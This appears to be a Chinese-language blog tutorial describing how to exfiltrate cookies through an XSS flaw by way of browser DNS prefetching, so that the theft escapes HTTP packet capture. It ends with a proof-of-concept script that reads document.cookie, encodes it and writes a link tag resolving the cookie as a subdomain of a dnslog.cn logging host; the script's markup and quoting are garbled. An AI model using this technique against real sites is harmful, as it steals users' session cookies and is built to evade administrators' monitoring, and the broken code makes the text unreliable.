目前xss传输cookie,一般有两个方式。
一、直接发送ajax请求,到后端程序处理。
二、新建一个img标签,然后把cookie拼接到img的src中。
但是这样在谷歌浏览器下F12,都无可避免的会产生一个网络请求。
类似于下图:
这种请求如果管理员使用HTTP抓包工具很容易被活捉。
那么在浏览器中有没有更隐蔽的数据传输通道,有的!
就是通过dns进行传输,这样不会被HTTP的抓包工具抓到。
但是使用JavaScript是无法直接操作DNS的。
现代化的谷歌浏览器中引入了一个新的标签,用来预加载DNS记录。
当你浏览网页时,浏览器会加载网页时对网页中的域名进行解析缓存,这样在你单击当前网页链接无需DNS解析,减少浏览者等待时间,提高用户体验。
谷歌的本意是用来优化网页的打开速度,但是同样也可以用来进行少量数据的传输。
我们来测试一下,
然后在浏览器中打开,然后再查看dnslog平台
已经收到dns的记录了,而且在谷歌浏览器中是无法抓取到数据包的
那么我们下一步来试验传输cookie,首先来看一下本地的cookie
然后上代码
因为cookie中的= ;这些不允许在域名中出现,所以我们先把这些关键字替换成我们指定的关键字,然后通过link标签,对dns进行预加载。
再来看DNS平台
然后再把关键字替换回来,即可获得正确的cookie
优点:
传输隐蔽,不容易被发现
缺点:
cookie数据量过大可能会导致传输失败
附上POC
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Documenttitle>
head>
<body>
<script>
cookie = document.cookie;
cookie=cookie.replace(/=/g,'c1')
cookie=cookie.replace('/;\s/g','c2')// console.log(cookie)
document.writeln("+cookie+".xxxxxx.dnslog.cn\'>");
script>
body>
html>